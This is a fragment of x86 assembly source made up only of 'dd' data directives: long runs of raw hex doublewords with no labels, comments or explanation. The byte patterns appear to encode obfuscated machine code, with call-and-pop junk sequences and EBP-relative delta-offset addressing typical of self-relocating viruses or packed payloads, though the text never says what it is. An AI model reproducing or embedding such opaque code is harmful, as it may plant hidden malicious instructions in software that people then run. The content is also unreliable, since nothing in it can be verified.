		dd 4E8C106h, 27119D2Bh,	0F7660629h, 65BD8BE2h, 2B062926h
		dd 18A0FC8h, 0F5000000h, 0B3E9D18Bh, 0E9000000h, 12h, 4DF57707h
		dd 0A4E0ECC3h, 0F389441Bh, 0BB525BFh, 858B823Dh, 4, 68E0Fh
		dd 95890000h, 629133Dh,	7C083F5h, 83FA8B66h, 0BD0900C0h
		dd 6292A2Dh, 830FD03Bh,	1Ch, 10860Fh, 0E8600000h, 6, 33605A03h
		dd 8B5E6139h, 57E961C1h, 0FC000000h, 0FFFF8D8Bh, 0F60FFFFh
		dd 685h, 1DBD8B00h, 0F906292Bh,	1E18361h, 38840Fh, 0FA8B0000h
		dd 0FFFFA583h, 0E8FEFFFFh, 14h,	9911BB35h, 74129B8Ch, 6F84B8F3h
		dd 0CC5B254Dh, 0B2641AC4h, 11A1BD8Bh, 895F0629h, 495h
		dd 99BF6600h, 0E96Dh, 0B58D0000h, 62D691Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C35040h, 23F23E20h
		dd 47C17DE9h, 0D59B529h, 6A0629h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 3C35242h, 8D8589A8h, 0FF062924h
		dd 29059195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0E7B9F586h, 6A00000Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0AA31C350h, 9653CCF8h, 0C11FA1D1h, 0E8FCE183h, 8, 0C587BD24h
		dd 272BDBCBh, 4569BB66h, 6AFC5Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0FE49B0C3h, 0DC50D327h
		dd 0E9D97E01h, 9, 0E971642Fh, 0B5892E23h, 8BC02B47h, 292019BDh
		dd 0BA06h, 33AD0000h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 606A91C3h, 70B66C63h, 8B6664D5h, 0EF8166FEh,	7BBFCE2h
		dd 0D72DFD9h, 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 74C35747h, 0DD1330D5h, 7EF0FBFh, 6D958B3Ah
		dd 0E906291Eh, 0Fh, 8F5453AAh, 0E8CFD6E1h, 0DA6D8E72h
		dd 8BEDEE59h, 292D818Dh, 0BD858906h, 50062918h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0B59D8958h, 6A062918h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 6342C356h, 0B3B99316h, 31BD83BBh,	62913h
		dd 60840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 92AC46C3h, 7BA643BEh, 8988C2C3h, 29333585h, 0B806h
		dd 0EE90000h, 0C2000000h, 78A87D66h, 0CE827E88h, 0FEC78155h
		dd 0C5958915h, 8D06290Fh, 294D6B8Dh, 3850F06h, 0F000000h
		dd 0C381D9B7h, 57B712D5h, 0BD83E1FFh, 6292005h,	0FF840F00h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0D865C351h, 0B852FFC2h, 0D4E549BBh
		dd 5BD836Ch, 1062920h, 3E7840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 4BD804C3h
		dd 10E8BFh, 2EF20000h, 8A88C44Ah, 40E0A835h, 71522E0Ah
		dd 840F970Fh, 6, 8D0Fh,	835B0000h, 292005BDh, 860F0306h
		dd 363h, 99BD8Bh, 0E8600629h, 0Ah, 0DFE30BF3h, 0D7A1299h
		dd 8D31E569h, 6290A4Dh,	0D98C665Fh, 0AED38166h,	4E18002h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 7CC35040h
		dd 603344F5h, 89D9B70Fh, 291FB985h, 0BD296106h,	6292EA9h
		dd 840FC90Ah, 0E8h, 20119529h, 858B0629h, 6291885h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 82C35141h, 2A69BD29h
		dd 85330629h, 6290DEDh,	34759D8Bh, 8A900629h, 669050DCh
		dd 6AFE8Bh, 1EA9BD8Bh, 4E80629h, 0FF000000h, 8B001F03h
		dd 13E950FEh, 32000000h, 0FF84C89Dh, 65FD33E4h,	0DB0E1614h
		dd 0A8203A4Ch, 448BFAA5h, 8B0424h, 0EE8h, 0FBB42200h, 6E1F889Fh
		dd 0F7EBFE25h, 6672F3C6h, 5B1B31BFh, 4244489h, 0DA8B5250h
		dd 8B66310Fh, 58585AFAh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 21C35343h, 4A19404h, 0DC75D714h, 365CBB66h
		dd 18899D0Bh, 95FF0629h, 629004Dh, 2E51BD89h, 89F50629h
		dd 2CC09685h, 8CCF8006h, 1E1E9h, 0D9B70F00h, 0C08E858Bh
		dd 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 68FBCFC3h, 0CFE6E65Fh, 0C78ABBF8h, 1800h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0E810B0DAh, 3850FEDh, 0F000000h,	0B58BD9B7h
		dd 62CC092h, 0A9FB5FBFh, 0C9858B7Ah, 6A06292Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 14DEC352h, 6F40EBF1h, 1DE38109h, 8911CE7Fh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 4AD8DD13h, 1D1C5E4Eh, 3D950131h, 8B062912h, 29188585h
		dd 4468906h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	4BC35545h, 667A45DEh, 60606065h, 0CE961h, 520000h
		dd 0D786BBA4h, 0FD9A3647h, 8B610306h, 2921059Dh, 50966106h
		dd 0AE952h, 53250000h, 177A3C19h, 0FCFD4895h, 5250310Fh
		dd 890Fh, 310F0000h, 7E8h, 0A0F85E00h, 97926708h, 5A585A5Fh
		dd 8B535058h, 6A965FDAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0B10BC355h,	0DA8AEF4Fh
		dd 0C08EB5FFh, 9D8B062Ch, 62931ADh, 0EBBA3868h,	0CE83Fh
		dd 0B2F70000h, 0D847995Ah, 0F17F8E34h, 0BF66A4FCh, 815B48F2h
		dd 0B9C72434h, 6A3FF4h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 5AF32EC3h, 579D3BF0h, 0A1BD8BB6h
		dd 6606291Eh, 0E1BDDB81h, 0C096858Dh, 9589062Ch, 6292C61h
		dd 5343BB90h, 90504621h, 2421BD8Bh, 95FF0629h, 629004Dh
		dd 1095B589h, 50610629h, 85C75FFCh, 6292005h, 3, 0EE9h
		dd 0D76A8E00h, 0EA7C90FBh, 53B3847Ch, 8376B90Fh, 2CC096BDh
		dd 840F0006h, 0Fh, 0E922DF80h, 22h, 18B0Fh, 50FC0000h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 0BF66C08Bh, 6ACA9Eh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 60B734C3h, 81196BF6h, 691995D7h
		dd 5BD835Dh, 3062920h, 331850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0ABE2E0C3h
		dd 0F8BB8EF2h, 8B317242h, 291A599Dh, 96BD8306h,	62CC0h
		dd 2F9840Fh, 0F7810000h, 23C45463h, 0C096B5FFh,	8589062Ch
		dd 6291EF1h, 0E7995FFh,	6A0629h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0EC2CA9C3h, 522D593Bh
		dd 8B1ADF0Eh, 2CC08AB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 2CBF24C5h, 0AF60862Ah
		dd 106C701h, 0F000100h,	683h, 85BD8B00h, 96062904h, 8B665250h
		dd 66310FFAh, 585ADE8Bh, 9698B750h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 2CC35545h, 8686B8D5h, 0B5FFFFB4h
		dd 62CC096h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	67C35545h, 8BB8647h, 0B1BD89B8h, 0FF062916h, 29072195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0B59D8B97h, 8B06291Fh, 2CC08AB5h, 91958906h
		dd 8B062908h, 29247985h, 0F99D8906h, 89062932h,	0C486h
		dd 8BFB8B00h, 291E6D95h, 0F1BD8B06h, 8306290Fh,	6A04C2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 8F8305C3h, 0B9BD89A6h, 89062909h, 60562050h,	921BB966h
		dd 858D5F61h, 62CD465h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 4DC35646h, 0E8D7D154h, 7902A16Ah, 0B88689h
		dd 8D890000h, 6292059h,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0E9D7E8C3h, 0EB807A19h
		dd 96B5FFDCh, 0E9062CC0h, 0Ch, 1F80EA18h, 0B24BADD6h, 0FCA89146h
		dd 5F9B509h, 95FF0629h,	6293031h, 2741BD8Bh, 89600629h
		dd 290DB99Dh, 0D18D8906h, 61062923h, 1B61BF50h,	348976B7h
		dd 65BD8B24h, 0FF06292Dh, 2CC096B5h, 6800F06h, 81000000h
		dd 90BA2FD7h, 9595FF0Ah, 8B06292Fh, 291EE1BDh, 0A9BD8306h
		dd 62911h, 16840Fh, 50FC0000h, 3489F88Bh, 7E924h, 7BB40000h
		dd 2D0B45E9h, 0FA8B663Ch, 0C096B5FFh, 6A062Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 4B7EE3C3h, 1B219589h, 810F0629h, 0
		dd 2D3595FFh, 9D890629h, 62925DDh, 0C096B5FFh, 0DC8A062Ch
		dd 60595FFh, 0B5890629h, 629331Dh, 0BD835F57h, 6290ABDh
		dd 38840F02h, 8A000000h, 528ABBD8h, 858B3A8Ah, 6291829h
		dd 0C6DA8B66h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 5E7D54C3h, 35B50931h, 0C7062906h
		dd 29065D85h, 6, 11E900h, 30E90000h, 0FA667947h, 3B9DF7E8h
		dd 0EA43E2C8h, 0E92FB799h, 0FFFFF492h, 8BD8B70Fh, 14E9C1h
		dd 0E9F40000h, 15A9D228h, 0D397A1D9h, 0CC37C740h, 32D8B560h
		dd 858D87F7h, 6291425h,	50DA8B90h, 8990FA8Bh, 290A698Dh
		dd 85BD8B06h, 6A062924h, 0A870F00h, 0E9000000h,	5, 31F31BD1h
		dd 80006A76h, 858DDBF7h, 62DF640h, 39852960h, 0E9062916h
		dd 14h,	924703BCh, 7AB77EB7h, 81C01BF0h, 17F02684h, 0ADB00DCBh
		dd 9D858961h, 8306291Eh, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 667457C3h, 142B4A4Fh
		dd 0F36FA0Ch, 38Fh, 0DE8B6600h,	504DB390h, 0EE8h, 76B12000h
		dd 243EFA44h, 0D3ADAE3Eh, 53210316h, 0E2ECBF66h, 6A905F5Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 1045C357h, 0B663897h, 0FCA92C14h,	12E9h
		dd 11415E00h, 9E0F02E7h, 20CBC0Ah, 0D1F8A5F6h, 0F3D07F3h
		dd 682h, 0B9BD8B00h, 6A06292Ch,	0B622BF00h, 6A4139h, 1E718589h
		dd 95FF0629h, 6290CEDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 12C35242h, 3EA524BBh,	407F973Dh, 140D9529h
		dd 8D8D0629h, 62C9808h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0A3C35242h, 604404D1h, 2AE0F27Dh, 0CDB52960h
		dd 89062929h, 291F65B5h, 0E3816106h, 1DB9A205h,	0D88BD1FFh
		dd 1A29BD83h, 0F010629h, 9B85h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 93513ABFh
		dd 6AF77622h, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 373C84E7h, 0E1EFB1ABh, 0E850DE8Ah
		dd 14h,	9FC96090h, 9CF318F6h, 82F08BB3h, 341FAEC0h, 6BF660B7h
		dd 0FE9h, 0B2456600h, 13E01170h, 9B10998Dh, 0C62C9B16h
		dd 2404895Fh, 0E850Fh, 0F600000h, 83h, 0C5958B00h, 61062907h
		dd 303195FFh, 9D8B0629h, 62930D9h, 0CBDE9h, 0E800h, 815D0000h
		dd 2DF64AEDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 536F2A47h, 0AC44508Bh, 6C98D89h
		dd 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0A42D83C3h, 0D25A0556h, 8B8061B3h, 290C599Dh
		dd 0B0858D06h, 6A062C91h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0CBB9C355h,	3184989Fh
		dd 2910B1B5h, 0BE85006h, 4D000000h, 0BC8FA46h, 3CAB9466h
		dd 8B66596Ch, 4895BFAh,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 9D8B1505h, 62928D5h, 35FF64h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 1C9AC355h, 46CC1D79h, 967C3C9Bh
		dd 6D58D89h, 89640629h,	25h, 0FEBF0F00h, 5498D89h, 85FF0629h
		dd 6292A15h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	20C35141h, 0D997F7C2h, 8B664033h, 0F8FF6ADAh, 1B7DB5FFh
		dd 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0E12F17C3h, 0C5DC3476h, 275595FFh, 0FE90629h
		dd 66000001h, 0B0DA8Bh,	24A1BD33h, 70E60629h, 0AE9h, 7B0BCB00h
		dd 1045ECF6h, 0E4663897h, 58E0F71h, 0BF000000h,	37768A56h
		dd 830F613Ch, 0DEh, 3011BD8Bh, 85890629h, 6292EA1h, 0FC8B60Fh
		dd 281h, 0BAFB8B00h, 6,	8BFA8B66h, 0F8B70FC1h, 0F04E8C1h
		dd 68Dh, 19858900h, 66062921h, 8A0FE2F7h, 17h, 11810Fh
		dd 0BE80000h, 7D000000h, 42653B58h, 2E42EFFCh, 895B2D5Ah
		dd 292439B5h, 66C82B06h, 8B9E04BBh, 0E9FB8BD1h,	76h, 4C44858Bh
		dd 9D035F4Ch, 6290A69h,	3307C083h, 2900F5BDh, 0C08306h
		dd 0F39D381h, 0D03B0D4Bh, 11830Fh, 0BD8B0000h, 6290E95h
		dd 45E9h, 890F00h, 8B000000h, 0FFFFFF8Dh, 1E183FFh, 30840Fh
		dd 0A5830000h, 0FFFFFFFFh, 13E9FEh, 0B7650000h,	5089632Bh
		dd 7ACA0672h, 0CF4EBD95h, 8CFD1850h, 4495893Fh,	295F4C4Ch
		dd 2913918Dh, 0E906h, 0B58D0000h, 62D7901h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 6EC35141h, 12E92B2Ch
		dd 0E1000000h, 6EAFE7D4h, 458B06B5h, 0D8D781C5h, 78EE2AE4h
		dd 6AF91Eh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ah,	0FEC35646h, 0A81A40D0h,	95FF723Fh, 6290591h, 2041B531h
		dd 0E9B90629h, 8B00000Dh, 0FCE183F9h, 0C02BF9FCh, 13FE08BFh
		dd 6AD22B7Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0A287C353h, 0C233AD71h, 0D003E8D1h
		dd 7504E983h, 0B19D8BF4h, 8906291Ah, 292C198Dh,	68F38106h
		dd 0D2AC35Dh, 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 57C35545h, 0A8E8E2BFh, 899D8B72h, 8B062906h
		dd 291E6D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0CD2D423Ch, 3940459Ch, 0EB8143A0h
		dd 1C0BFBD3h, 2D818D8Bh, 6A0629h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 4ABE3BC3h, 0E4EFAF4h
		dd 0C28B5003h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0B5D4C355h, 68D0Fh, 9D230000h, 6291AA5h
		dd 1331BD83h, 0F000629h, 5984h,	9F56000h, 2914299Dh, 0B86106h
		dd 89000000h, 290C5985h, 6B8D8D06h, 6A06294Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0FE30C357h, 13C71C48h, 0F5F01F0Ah, 0DE9h, 0CDE4C100h
		dd 0D3C6576Dh, 5D297DC1h, 0E1FF6FD5h, 107D8589h, 0BD830629h
		dd 6292005h, 35840F00h,	6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 50D3C353h
		dd 22BF01DCh, 0E929C154h, 9, 1E293C96h,	45F0E4EEh, 0BD9D8B5Ch
		dd 8306291Eh, 292005BDh, 840F0106h, 40Bh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 23C35242h, 30ED9D8Bh
		dd 0BD830629h, 6292005h, 0A6860F03h, 6A000003h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 4252C355h, 1854CEF3h, 9A6C27F1h, 0EA5BD8Bh, 0BD230629h
		dd 6291191h, 57006A60h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 5E85Ch, 257B0000h
		dd 29107479h, 2911F9B5h, 8C665B06h, 51006AD9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 30B359B6h
		dd 2904E180h, 29090DBDh, 0FC90A06h, 10584h, 0C3815600h
		dd 7B276CDCh, 85858B5Bh, 6A062918h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 4D60C357h
		dd 0D2FCBB80h, 85336312h, 6290DEDh, 0F525050h, 837BBB31h
		dd 585A53B7h, 8B240489h, 292ACD9Dh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0A4AC356h, 5A78EAA0h, 8DBD2BD7h, 6806290Ch, 85C72E51h
		dd 0AE240481h, 0FF7A57D5h, 29004D95h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 25AA1C3Dh, 8589E232h, 62CC096h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 34C35747h, 0F5D2CD33h, 1E21B501h
		dd 0BFE90629h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 3FEDC356h, 0F57F321h
		dd 58Fh, 0C5CFBB00h, 858B46B7h,	62CC08Eh, 2C319D8Bh, 0C70629h
		dd 18h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 0D4C35242h, 782CD5C8h, 0C092B58Bh, 6A062Ch, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E97AAAC3h, 5, 0F117660Ch, 0C9858B04h, 0B06292Bh, 291A11BDh
		dd 0E9068906h, 0Bh, 0D7466067h,	0A8565107h, 8BA7860Bh
		dd 29188585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 4689B7CBh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0F77B6ADAh
		dd 9FB5BBD6h, 0B3961F9Bh, 0D98B50EFh, 0DA8B5796h, 8EB5FF5Fh
		dd 6A062CC0h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 4CE7C357h, 2C08FB68h, 8154B37Dh
		dd 0B042434h, 6A7D33h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 2D7DDDC3h, 0FC2A62AEh, 68D0Fh, 0D3810000h
		dd 46B2AD39h, 0C096858Dh, 6A062Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0EC796DC3h, 286C5D56h
		dd 8A26EB7Fh, 0E8B350F9h, 89240489h, 292DCD8Dh,	4D95FF06h
		dd 6A062900h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 214DC353h, 28676EF1h, 0E961E390h
		dd 0Ch,	0E2E2A1CAh, 1835FA25h, 720825E8h, 85C7DF8Bh, 6292005h
		dd 3, 65BD8Bh, 0BD830629h, 62CC096h, 4A840F00h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 2951C356h, 2905E585h, 3EE906h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0C24FEEC3h, 0FC27411Ch, 0C305082h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 37C35040h, 0A8165647h, 0A2BBBCCBh, 6672DCAAh
		dd 0BD83D98Bh, 6292005h, 9D850F03h, 89000003h, 2928CD8Dh
		dd 96BD8306h, 62CC0h, 38A840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 9718CAC3h
		dd 0B5FF0C70h, 62CC096h, 599D8956h, 5B06292Eh, 0E7995FFh
		dd 9D890629h, 6293165h,	0C08AB58Bh, 9D8B062Ch, 6292E05h
		dd 106C7h, 870F0001h, 2, 0BD890BB7h, 6292879h, 24348950h
		dd 5800Fh, 81660000h, 81211EDFh, 0F9EBE3EFh, 96B5FF0Bh
		dd 0E9062CC0h, 10h, 88E40604h, 7D0A39AAh, 0B22DB9E4h, 0F4D807A8h
		dd 72195FFh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0E260A3C3h, 5DD3802Bh, 8BFB8B66h
		dd 2CC08AB5h, 1BD8B06h,	8B06290Fh, 29247985h, 0F7816606h
		dd 8689FFE6h, 0C4h, 0D8D9589h, 958B0629h, 6291E6Dh, 62D9D8Bh
		dd 0C2830629h, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 20508910h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 76C35343h, 0B07A7756h
		dd 65858D70h, 6A062CD4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8BD6C350h, 290EE19Dh
		dd 0EB816606h, 8689DA9Eh, 0B8h,	0E880F56h, 0E8000000h
		dd 8, 0CA6770D8h, 1D376E81h, 6A5F5Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0E4C35747h,	147A6346h, 9589E53Dh
		dd 62911A1h, 9E9h, 0F2B25F00h, 588218EFh, 0B5FF4D76h, 62CC096h
		dd 11E8h, 0D784E000h, 55919D25h, 8BC0C5FAh, 726E42AFh
		dd 8E0FF0C4h, 6, 2AA5BD8Bh, 0BB5B0629h,	5282B95h, 303195FFh
		dd 50F80629h, 870Fh, 34890000h,	0F7816624h, 0B5FF4072h
		dd 62CC096h, 31E19D89h,	95FF0629h, 6292F95h, 5E9h, 9DB7C700h
		dd 0BD83507Bh, 62911A9h, 74840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 38FFC356h, 0DE860BEh, 68000000h, 0E0373B52h,	0AC450039h
		dd 0AB6F729Bh, 9D295EF9h, 6290839h, 0C7BB9661h,	5052B5BBh
		dd 9E8h, 0B4829C00h, 5B32B41Bh,	965F7963h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 22C35646h, 618589CCh
		dd 0FF062930h, 2CC096B5h, 13E906h, 107D0000h, 36B090FFh
		dd 9AB237CDh, 0E87A7F31h, 16164C77h, 3595FF68h,	0BF06292Dh
		dd 44F3BFE3h, 0C096B5FFh, 6A062Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 95FF17C3h, 6290605h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AC35141h
		dd 54304086h, 4E82FE2Ah, 0AA5C30BBh, 4D8D316Ch,	83062927h
		dd 290ABDBDh, 840F0206h, 66h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 46C35545h, 0D08C8001h, 1419FBCEh
		dd 0FE8h, 71250300h, 33ACFDF8h,	0A4D7FD45h, 0F1237AB0h
		dd 29858B5Bh, 6A062918h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0C81CC351h,	0C63F0Dh
		dd 0DB816600h, 85C75E2Dh, 629065Dh, 0
		dd 0CA2BB66h, 0FFF484E9h, 419531FFh, 8B062909h,	7B75BFC1h
		dd 858D0B87h, 6291425h,	0D019D03h, 66900629h, 9050F88Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7AC35141h
		dd 208AA5B8h, 2B8F8458h, 292AD59Dh, 0D858906h, 6A062926h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 53FDA90Ah, 5E9D4D1h, 19000000h, 0B9BA7973h
		dd 6AC4D380h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 547F0BFFh, 0FE8B141Bh, 0C99B529h
		dd 858D0629h, 62E0562h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 3FC35747h, 7E56FFA6h,	0ACA2F840h, 0EE9h
		dd 0C8248000h, 0F5BA0D85h, 3D2A4D92h, 838A47ABh, 6A05C0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 9FF0BEC3h, 7E340857h, 66E81696h, 9024D0BBh, 860F60h
		dd 8B000000h, 905061FEh, 7E9h, 3ECFFC00h, 0C74B40A7h, 0B589006Ah
		dd 6293339h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0E91D04C3h, 0FFF1CB80h, 290CED95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8B6635B1h, 8D8DF8F8h, 62C9808h, 8850Fh
		dd 8B560000h, 29302D9Dh, 0D1FF5F06h, 9E9h, 5736BA00h, 593499E9h
		dd 0BD8399B0h, 6291A29h, 0BF850F01h, 0F000000h,	587h, 0E7816600h
		dd 26AD90Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	40C35040h, 703A7CC0h, 2BCF8166h, 0B70F5283h, 0F505BF9h
		dd 1A87h, 14E800h, 0DBA70000h, 6A50D1B7h, 0A77C7BB9h, 8353277Eh
		dd 0A953B5FDh, 895FF494h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0E405E0C3h, 3477C081h
		dd 669095AFh, 99DC1BFh,	291B8D85h, 3195FF06h, 6A062930h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 4007C351h, 617301EBh, 0FE897C0h, 58Ch, 0EB816600h
		dd 85E9CEEDh, 0E800000Eh, 0
		dd 6CED815Dh, 60062E05h, 8C0Fh,	7FB30000h, 51006A61h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 37422E3Ah, 466EAEE1h, 8DDA8A45h, 2C91B085h, 0A5858906h
